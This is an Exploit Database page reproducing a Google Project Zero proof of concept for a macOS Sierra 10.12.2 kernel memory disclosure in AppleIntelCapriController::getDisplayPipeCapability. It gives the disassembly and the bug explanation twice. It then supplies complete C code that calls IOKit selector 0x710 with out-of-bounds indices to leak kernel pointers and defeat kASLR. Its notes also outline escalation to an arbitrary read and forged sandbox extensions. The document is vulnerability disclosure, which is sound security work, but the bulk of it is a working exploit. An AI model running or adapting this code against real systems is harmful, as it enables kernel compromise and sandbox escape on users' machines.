Apple macOS Kernel 10.12.2 (16C67) – Memory Disclosure Due to Lack of Bounds Checking in AppleIntelCapriController::getDisplayPipeCapability

• Exploit Database
• 96 阅读

• 作者： Google Security Research
  日期： 2017-04-04
• 类别：

  • dos
  平台：

  • macos
• 来源：https://www.exploit-db.com/exploits/41798/

• /*
  Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1069
  
  MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability
  
  Selector 0x710 of IntelFBClientControl ends up in AppleIntelCapriController::getDisplayPipeCapability.
  
  This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
  uses to index an array of pointers with no bounds checking:
  
  AppleIntelCapriController::getDisplayPipeCapability(AGDCFBGetDisplayCapability_t *, AGDCFBGetDisplayCapability_t *)
  __text:000000000002A3AB mov r14, rdx ; output buffer, readable from userspace
  __text:000000000002A3AE mov rbx, rsi ; input buffer, controlled from userspace
  ...
  __text:000000000002A3B8 mov eax, [rbx] ; read dword
  __text:000000000002A3BA mov rsi, [rdi+rax*8+0E40h]; use as index for small inline buffer in this object
  __text:000000000002A3C2 cmp byte ptr [rsi+1DCh], 0; fail if byte at +0x1dc is 0
  __text:000000000002A3C9 jzshort ___fail
  __text:000000000002A3CB add rsi, 1E0Dh; otherwise, memcpy from that pointer +0x1e0dh
  __text:000000000002A3D2 mov edx, 1D8h ; 0x1d8 bytes
  __text:000000000002A3D7 mov rdi, r14; to the buffer which will be sent back to userspace
  __text:000000000002A3DA call_memcpy
  
  For this PoC we try to read the pointers at 0x2000 byte boundaries after this allocation; with luck there will be a vtable
  pointer there which will allow us to read back vtable contents and defeat kASLR.
  
  With a bit more effort this could be turned into an (almost) arbitrary read by for example spraying the kernel heap with the desired read target
  then using a larger offset hoping to land in one of the sprayed buffers. A kernel arbitrary read would, for example, allow you to read the sandbox.kext
  HMAC key and forge sandbox extensions if it still works like that.
  
  tested on MacOS Sierra 10.12.2 (16C67)
  */
  
  // ianbeer
  
  // build: clang -o capri_mem capri_mem.c -framework IOKit
  
  #if 0
  MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability
  
  Selector 0x710 of IntelFBClientControl ends up in AppleIntelCapriController::getDisplayPipeCapability.
  
  This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
  uses to index an array of pointers with no bounds checking:
  
  AppleIntelCapriController::getDisplayPipeCapability(AGDCFBGetDisplayCapability_t *, AGDCFBGetDisplayCapability_t *)
  __text:000000000002A3AB mov r14, rdx ; output buffer, readable from userspace
  __text:000000000002A3AE mov rbx, rsi ; input buffer, controlled from userspace
  ...
  __text:000000000002A3B8 mov eax, [rbx] ; read dword
  __text:000000000002A3BA mov rsi, [rdi+rax*8+0E40h]; use as index for small inline buffer in this object
  __text:000000000002A3C2 cmp byte ptr [rsi+1DCh], 0; fail if byte at +0x1dc is 0
  __text:000000000002A3C9 jzshort ___fail
  __text:000000000002A3CB add rsi, 1E0Dh; otherwise, memcpy from that pointer +0x1e0dh
  __text:000000000002A3D2 mov edx, 1D8h ; 0x1d8 bytes
  __text:000000000002A3D7 mov rdi, r14; to the buffer which will be sent back to userspace
  __text:000000000002A3DA call_memcpy
  
  For this PoC we try to read the pointers at 0x2000 byte boundaries after this allocation; with luck there will be a vtable
  pointer there which will allow us to read back vtable contents and defeat kASLR.
  
  With a bit more effort this could be turned into an (almost) arbitrary read by for example spraying the kernel heap with the desired read target
  then using a larger offset hoping to land in one of the sprayed buffers. A kernel arbitrary read would, for example, allow you to read the sandbox.kext
  HMAC key and forge sandbox extensions if it still works like that.
  
  tested on MacOS Sierra 10.12.2 (16C67)
  #endif
  
  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  
  #include <mach/mach_error.h>
  
  #include <IOKit/IOKitLib.h>
  
  int main(int argc, char** argv){
  kern_return_t err;
  
  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));
  
  if (service == IO_OBJECT_NULL){
  printf("unable to find service\n");
  return 0;
  }
  
  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
  printf("unable to get user client connection\n");
  return 0;
  }
  
  uint64_t inputScalar[16];
  uint64_t inputScalarCnt = 0;
  
  char inputStruct[4096];
  size_t inputStructCnt = 4096;
  
  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;
  
  char outputStruct[4096];
  size_t outputStructCnt = 0x1d8;
  
  for (int step = 1; step < 1000; step++) {
  memset(inputStruct, 0, inputStructCnt);
  *(uint32_t*)inputStruct = 0x238 + (step*(0x2000/8));
  
  outputStructCnt = 4096;
  memset(outputStruct, 0, outputStructCnt);
  
  err = IOConnectCallMethod(
  conn,
  0x710,
  inputScalar,
  inputScalarCnt,
  inputStruct,
  inputStructCnt,
  outputScalar,
  &outputScalarCnt,
  outputStruct,
  &outputStructCnt); 
  
  if (err == KERN_SUCCESS) {
  break;
  }
  
  printf("retrying 0x2000 up - %s\n", mach_error_string(err));
  }
  
  uint64_t* leaked = (uint64_t*)(outputStruct+3);
  for (int i = 0; i < 0x1d8/8; i++) {
  printf("%016llx\n", leaked[i]);
  }
  
  return 0;
  }
  

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